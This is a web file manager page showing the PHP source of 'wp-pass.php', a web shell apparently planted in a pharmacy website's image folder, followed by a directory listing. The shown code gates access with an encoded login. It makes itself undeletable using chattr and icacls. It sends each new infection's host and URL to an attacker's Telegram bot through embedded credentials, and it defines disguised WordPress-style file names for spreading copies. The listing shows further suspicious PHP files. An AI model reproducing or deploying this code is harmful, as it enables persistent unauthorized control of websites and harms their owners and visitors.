File Manager

✏️ Edit File: /home/u818817280/domains/genericarepharmacy.com/public_html/assets/img/wp-pass.php

<?php
session_start();

function base64_decode_safe($data) {
    return base64_decode($data);
}

if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
    exit;
}

// Rate limiting untuk mencegah brute force
if (!isset($_SESSION['login_attempts'])) {
    $_SESSION['login_attempts'] = 0;
    $_SESSION['first_attempt_time'] = time();
}

$max_attempts = 5;
$lockout_time = 900; // 15 menit

if ($_SESSION['login_attempts'] >= $max_attempts) {
    $time_passed = time() - $_SESSION['first_attempt_time'];
    if ($time_passed < $lockout_time) {
        $remaining = $lockout_time - $time_passed;
        $minutes = ceil($remaining / 60);
        die("<html><body style='background:#000;color:#f00;font-family:monospace;padding:50px;'>
            <h2>⚠️ ACCESS LOCKED</h2>
            <p>Too many failed attempts. Try again in $minutes minutes.</p>
            </body></html>");
    } else {
        $_SESSION['login_attempts'] = 0;
    }
}

// Cek login
if (!isset($_SESSION['webshell_logged_in'])) {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        $_SESSION['login_attempts']++;
        
        if ($_SESSION['login_attempts'] == 1) {
            $_SESSION['first_attempt_time'] = time();
        }
        
        usleep(500000); // Delay 0.5 detik
        
        
        $VALID_USERNAME = base64_decode_safe('ZmF5c2hpaHVhbmc='); 
        $VALID_PASSWORD_HASH = '6d50207254cc7548e80508abcdd8483affcf34ceef307f171eb6cdec21397da3'; 
        
        $input_hash = hash('sha256', $_POST['password']);
        
        if ($_POST['username'] === $VALID_USERNAME && 
            hash_equals($VALID_PASSWORD_HASH, $input_hash)) {
            
            $_SESSION['webshell_logged_in'] = true;
            session_regenerate_id(true);
            
            unset($_SESSION['login_attempts']);
            unset($_SESSION['first_attempt_time']);
            
            header('Location: ' . $_SERVER['REQUEST_URI']);
            exit;
        } else {
            $login_error = "Access Denied! Attempt " . $_SESSION['login_attempts'] . "/$max_attempts";
        }
    }
?>
<!DOCTYPE html>
<html>
<head>
    <title>⚡ HACKED BY FAYSHIHUANG - SECURE ACCESS</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            background: #0a061a;
            font-family: 'Share Tech Mono', monospace;
            height: 100vh;
            overflow: hidden;
            position: relative;
        }
        
        #matrix-canvas {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1;
            pointer-events: none;
            opacity: 0.12;
        }
        
        .overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: radial-gradient(circle at 50% 50%, rgba(10,6,26,0.7) 0%, rgba(5,3,15,0.9) 100%);
            z-index: 2;
            pointer-events: none;
        }
        
        .login-container {
            position: relative;
            z-index: 3;
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        
        .login-card {
            background: rgba(15, 8, 30, 0.75);
            backdrop-filter: blur(10px);
            -webkit-backdrop-filter: blur(10px);
            border: 1px solid rgba(168, 85, 247, 0.3);
            border-radius: 20px;
            padding: 40px;
            width: 100%;
            max-width: 400px;
            box-shadow: 0 0 50px rgba(168, 85, 247, 0.2),
                        inset 0 0 30px rgba(168, 85, 247, 0.05);
            position: relative;
            overflow: hidden;
        }
        
        .login-card::before {
            content: '';
            position: absolute;
            top: -2px;
            left: -2px;
            right: -2px;
            bottom: -2px;
            background: linear-gradient(45deg, 
                transparent 30%, 
                rgba(168, 85, 247, 0.3) 50%, 
                transparent 70%);
            border-radius: 22px;
            z-index: -1;
            animation: borderGlow 8s linear infinite;
            background-size: 250% 250%;
        }
        
        @keyframes borderGlow {
            0% { background-position: 0% 0%; }
            50% { background-position: 100% 100%; }
            100% { background-position: 0% 0%; }
        }
        
        .logo {
            text-align: center;
            margin-bottom: 30px;
        }
        
        .logo h1 {
            color: #c084fc;
            font-size: 28px;
            letter-spacing: 4px;
            text-shadow: 0 0 20px #c084fc;
            margin-bottom: 10px;
            position: relative;
            display: inline-block;
        }
        
        .logo h1::before {
            content: '⟨';
            position: absolute;
            left: -25px;
            color: #c084fc;
            opacity: 0.7;
            animation: pulse 2s infinite;
        }
        
        .logo h1::after {
            content: '⟩';
            position: absolute;
            right: -25px;
            color: #c084fc;
            opacity: 0.7;
            animation: pulse 2s infinite;
        }
        
        @keyframes pulse {
            0%, 100% { opacity: 0.3; }
            50% { opacity: 1; }
        }
        
        .subtitle {
            color: #c084fc;
            font-size: 12px;
            letter-spacing: 3px;
            text-transform: uppercase;
            opacity: 0.6;
        }
        
        .status-line {
            background: rgba(168, 85, 247, 0.05);
            border: 1px solid rgba(168, 85, 247, 0.2);
            border-radius: 30px;
            padding: 8px 15px;
            margin-bottom: 30px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            font-size: 11px;
            color: #c084fc;
            letter-spacing: 1px;
        }
        
        .status-dot {
            width: 8px;
            height: 8px;
            background: #a855f7;
            border-radius: 50%;
            display: inline-block;
            margin-right: 5px;
            animation: blink 1s infinite;
        }
        
        @keyframes blink {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.3; }
        }
        
        .form-group {
            margin-bottom: 20px;
            position: relative;
        }
        
        .form-group label {
            display: block;
            color: #c084fc;
            font-size: 11px;
            letter-spacing: 2px;
            margin-bottom: 8px;
            text-transform: uppercase;
            opacity: 0.8;
        }
        
        .form-group input {
            width: 100%;
            padding: 15px;
            background: rgba(20, 5, 40, 0.5);
            border: 1px solid rgba(168, 85, 247, 0.3);
            border-radius: 8px;
            color: #e0aaff;
            font-family: 'Share Tech Mono', monospace;
            font-size: 14px;
            transition: all 0.3s ease;
            outline: none;
        }
        
        .form-group input:focus {
            border-color: #c084fc;
            box-shadow: 0 0 20px rgba(168, 85, 247, 0.3);
            background: rgba(30, 10, 55, 0.5);
        }
        
        .form-group input::placeholder {
            color: rgba(168, 85, 247, 0.2);
            font-style: italic;
        }
        
        .password-toggle {
            position: absolute;
            right: 15px;
            bottom: 15px;
            color: rgba(168, 85, 247, 0.5);
            cursor: pointer;
            font-size: 14px;
            user-select: none;
        }
        
        .password-toggle:hover {
            color: #c084fc;
        }
        
        .login-btn {
            width: 100%;
            padding: 15px;
            background: transparent;
            border: 2px solid #a855f7;
            color: #c084fc;
            font-family: 'Share Tech Mono', monospace;
            font-size: 16px;
            font-weight: bold;
            text-transform: uppercase;
            letter-spacing: 4px;
            cursor: pointer;
            transition: all 0.3s ease;
            margin-top: 20px;
            border-radius: 8px;
            position: relative;
            overflow: hidden;
        }
        
        .login-btn:hover {
            background: #a855f7;
            color: #0a061a;
            box-shadow: 0 0 30px #a855f7;
        }
        
        .login-btn::before {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(168, 85, 247, 0.3), transparent);
            transition: left 0.5s ease;
        }
        
        .login-btn:hover::before {
            left: 100%;
        }
        
        .error-message {
            background: rgba(255, 0, 0, 0.1);
            border: 1px solid #f00;
            color: #f00;
            padding: 12px;
            border-radius: 8px;
            margin-top: 20px;
            text-align: center;
            font-size: 13px;
            animation: shake 0.5s ease;
        }
        
        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            10%, 30%, 50%, 70%, 90% { transform: translateX(-5px); }
            20%, 40%, 60%, 80% { transform: translateX(5px); }
        }
        
        .footer {
            margin-top: 30px;
            text-align: center;
            color: rgba(168, 85, 247, 0.3);
            font-size: 11px;
            letter-spacing: 1px;
        }
        
        .footer a {
            color: rgba(168, 85, 247, 0.5);
            text-decoration: none;
            transition: color 0.3s;
        }
        
        .footer a:hover {
            color: #c084fc;
        }
        
        .cursor {
            display: inline-block;
            width: 8px;
            height: 16px;
            background: #a855f7;
            animation: cursorBlink 1s infinite;
            margin-left: 5px;
            vertical-align: middle;
        }
        
        @keyframes cursorBlink {
            0%, 50% { opacity: 1; }
            51%, 100% { opacity: 0; }
        }
        
        .info-text {
            text-align: center;
            margin-top: 15px;
            color: rgba(168, 85, 247, 0.2);
            font-size: 10px;
        }
        
        @media (max-width: 480px) {
            .login-card {
                padding: 25px;
            }
            
            .logo h1 {
                font-size: 22px;
            }
            
            .logo h1::before,
            .logo h1::after {
                display: none;
            }
        }
    </style>
</head>
<body>
    <canvas id="matrix-canvas"></canvas>
    <div class="overlay"></div>
    
    <div class="login-container">
        <div class="login-card">
            <div class="logo">
                <h1>FAYSHIHUANG</h1>
                <div class="subtitle">SECURE TERMINAL v4.0</div>
            </div>
            
            <div class="status-line">
                <span><span class="status-dot"></span> SYSTEM READY</span>
                <span>⚡ SHA-256 + BASE64</span>
            </div>
            
            <form method="post">
                <div class="form-group">
                    <label>> USERNAME</label>
                    <input type="text" name="username" placeholder="Enter username" autocomplete="off" autofocus>
                </div>
                
                <div class="form-group">
                    <label>> PASSWORD</label>
                    <input type="password" name="password" id="password" placeholder="********">
                    <span class="password-toggle" onclick="togglePassword()">👁️</span>
                </div>
                
                <button type="submit" class="login-btn">[ AUTHENTICATE ]</button>
                
                <?php if (isset($login_error)): ?>
                <div class="error-message">
                    ⚠️ <?= $login_error ?>
                </div>
                <?php endif; ?>
            </form>
            
            <div class="footer">
                <span id="datetime"></span> <span class="cursor"></span>
            </div>
            
            <div class="info-text">
                ⚡ UNAUTHORIZED ACCESS IS PROHIBITED ⚡
            </div>
        </div>
    </div>
    
    <script>
        const canvas = document.getElementById('matrix-canvas');
        const ctx = canvas.getContext('2d');
        
        canvas.width = window.innerWidth;
        canvas.height = window.innerHeight;
        
        const chars = '01アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲン';
        const charArray = chars.split('');
        const fontSize = 14;
        const columns = canvas.width / fontSize;
        const drops = [];
        
        for (let i = 0; i < columns; i++) {
            drops[i] = Math.floor(Math.random() * -canvas.height);
        }
        
        function drawMatrix() {
            ctx.fillStyle = 'rgba(10, 6, 26, 0.05)';
            ctx.fillRect(0, 0, canvas.width, canvas.height);
            
            ctx.fillStyle = 'rgba(168, 85, 247, 0.12)';
            ctx.font = fontSize + 'px monospace';
            
            for (let i = 0; i < drops.length; i++) {
                const text = charArray[Math.floor(Math.random() * charArray.length)];
                ctx.fillText(text, i * fontSize, drops[i] * fontSize);
                
                if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
                    drops[i] = 0;
                }
                
                drops[i]++;
            }
        }
        
        setInterval(drawMatrix, 50);
        
        window.addEventListener('resize', function() {
            canvas.width = window.innerWidth;
            canvas.height = window.innerHeight;
        });
        
        function togglePassword() {
            const passwordInput = document.getElementById('password');
            passwordInput.type = passwordInput.type === 'password' ? 'text' : 'password';
        }
        
        function updateDateTime() {
            const now = new Date();
            document.getElementById('datetime').innerHTML = now.toLocaleString('en-US', { 
                year: 'numeric', month: '2-digit', day: '2-digit',
                hour: '2-digit', minute: '2-digit', second: '2-digit', hour12: false 
            });
        }
        updateDateTime();
        setInterval(updateDateTime, 1000);
    </script>
</body>
</html>
<?php
    exit;
}

$logout_link = '<div style="position:fixed; top:10px; right:10px; z-index:9999; background:rgba(255,0,0,0.2); border:1px solid #f00; border-radius:5px; padding:5px 10px; backdrop-filter:blur(5px);">
    <a href="?logout" style="color:#f00; text-decoration:none; font-size:12px; letter-spacing:1px;">⏻ LOGOUT</a>
</div>';
echo $logout_link;

@set_time_limit(0);
@error_reporting(0);
session_start();

// Anti-Delete Protection
if (!function_exists('vanta_protect_shell')) {
    function vanta_protect_shell() {
        $file = __FILE__;
        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            @exec("icacls \"$file\" /deny Everyone:(D)");
        } else {
            @exec("chattr +i \"$file\"");
            @exec("chattr +a \"$file\"");
            if (is_writable($file)) {
                @chmod($file, 0444);
            }
        }
    }
}
vanta_protect_shell();

$TELEGRAM_BOT = base64_decode('ODYzMDkzMDc3NzpBQUZyNWdhMXlEZGhSSE1rVmExd210YzJhcWY5amx6SFp6cw==');
$TELEGRAM_CHAT = base64_decode('LTEwMDM3NjA3NDE3MDc=');

$notif_file = __DIR__ . '/.vanta_notified';
if (!file_exists($notif_file)) {
    $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown P';
    $host = $_SERVER['HTTP_HOST'] ?? 'Unknown Host';
    $url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$host$_SERVER[REQUEST_URI]";
    
    $msg = "📌 <b>FAYSHIHUANG SHELL UPLOADED!</b> 📌\n\n";
    $msg .= "📍 <b>Host:</b> $host\n";
    $msg .= "🔗 <b>URL:</b> $url\n";
    $msg .= "🌐 <b>IP:</b> $ip\n";
    $msg .= "🕒 <b>Time:</b> " . date('Y-m-d H:i:s');
    
    $url_api = "https://api.telegram.org/bot{$TELEGRAM_BOT}/sendMessage";
    $data = ['chat_id' => $TELEGRAM_CHAT, 'text' => $msg, 'parse_mode' => 'HTML'];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url_api);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_exec($ch);
    curl_close($ch);
    
    @file_put_contents($notif_file, 'notified');
}

$MAX_SPREAD = 30;
$SPREAD_DEPTH = 3;

$RANDOM_NAMES = [
    'vanta.php', 'wp-pass.php', 'wp-loadss.php', 'cachess.php', 'error_logss.php',
    'debugs.php', 'tmps.php', 'backups.php', 'configs.php.bak', 'settingss.php',
    'admins.php', 'logins.php', 'index-old.php', 'wp-admins.php', 'cores.php',
    'systems.php', 'loader.php', 'inits.php', 'bootstrap.php', 'autoloads.php',
    'xmlrpcs.php', 'wp-signups.php', 'wp-activates.php', 'wp-comments-posts.php',
    'wp-trackbacks.php', 'footers.php', 'headers.php', 'sidebars.php', 'functions.php',
    'themess.php', 'pluginss.php', 'widgets.php', 'shortcodes.php', 'customs.php'
];

function sendTelegram($message) {
    global $TELEGRAM_BOT, $TELEGRAM_CHAT;
    
    $url = "https://api.telegram.org/bot{$TELEGRAM_BOT}/sendMessage";
    $data = [
        'chat_id' => $TELEGRAM_CHAT,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_exec($ch);
    curl_close($ch);
    
    return true;
}

function pathToUrl($path, $base_path, $base_url) {
    $path = str_replace('\\', '/', $path);
    $base = str_replace('\\', '/', $base_path);
    
    if (strpos($path, $base) === 0) {
        $relative = substr($path, strlen($base));
        return rtrim($base_url, '/') . '/' . ltrim($relative, '/');
    }
    
    return false;
}

Batal

⬅ Naik ke assets 35 item

Nama	Tipe	Ukuran	Diubah	Aksi
📁Achivments	dir	—	2026-05-17 13:15	📂 Buka
📁Achivmentsss	dir	—	2026-07-05 17:07	📂 Buka
📁Career	dir	—	2026-04-13 09:44	📂 Buka
📁Gallary	dir	—	2026-04-09 05:29	📂 Buka
📁Opening	dir	—	2026-04-17 08:42	📂 Buka
📁Product	dir	—	2026-05-17 13:05	📂 Buka
📁Store	dir	—	2026-07-05 17:05	📂 Buka
📁about	dir	—	2026-04-03 05:52	📂 Buka
📁carowsel	dir	—	2026-07-05 17:06	📂 Buka
📁choose	dir	—	2026-03-23 12:40	📂 Buka
📁contact	dir	—	2026-03-23 12:40	📂 Buka
📁counter	dir	—	2026-03-23 12:37	📂 Buka
📁error	dir	—	2026-03-23 12:40	📂 Buka
📁faq	dir	—	2026-03-23 12:40	📂 Buka
📁feature	dir	—	2026-03-23 12:37	📂 Buka
📁footer	dir	—	2026-03-23 12:37	📂 Buka
📁header	dir	—	2026-03-23 12:37	📂 Buka
📁icon	dir	—	2026-03-23 12:37	📂 Buka
📁logo	dir	—	2026-03-23 12:37	📂 Buka
📁process	dir	—	2026-07-05 17:08	📂 Buka
📁project	dir	—	2026-03-23 12:40	📂 Buka
📁service	dir	—	2026-03-23 12:40	📂 Buka
📁slider	dir	—	2026-05-20 03:59	📂 Buka
📁sliderss	dir	—	2026-04-16 12:11	📂 Buka
📁tab	dir	—	2026-03-23 12:37	📂 Buka
📁team	dir	—	2026-03-23 12:40	📂 Buka
📁testimonial	dir	—	2026-03-23 12:40	📂 Buka
📁video	dir	—	2026-03-23 12:37	📂 Buka
📄.vanta_notified	vanta_notified	8 B	2026-07-05 17:09	✏️ Edit 👁️ View
📕GENERICARE PRODUCT CATLOGUE.pdf	pdf	4.5 MB	2026-03-24 10:48	✏️ Edit 👁️ View
🗜️about.zip	zip	263.1 MB	2026-03-25 05:34	✏️ Edit 👁️ View
🐘agent.php	php	16.4 KB	2026-07-05 17:09	✏️ Edit 👁️ View
🐘cache.php	php	748.6 KB	2026-07-05 17:09	✏️ Edit 👁️ View
🖼️cross-out.png	png	173 B	2026-03-23 12:37	✏️ Edit 👁️ View
🐘wp-pass.php	php	23.3 KB	2026-07-05 17:08	✏️ Edit 👁️ View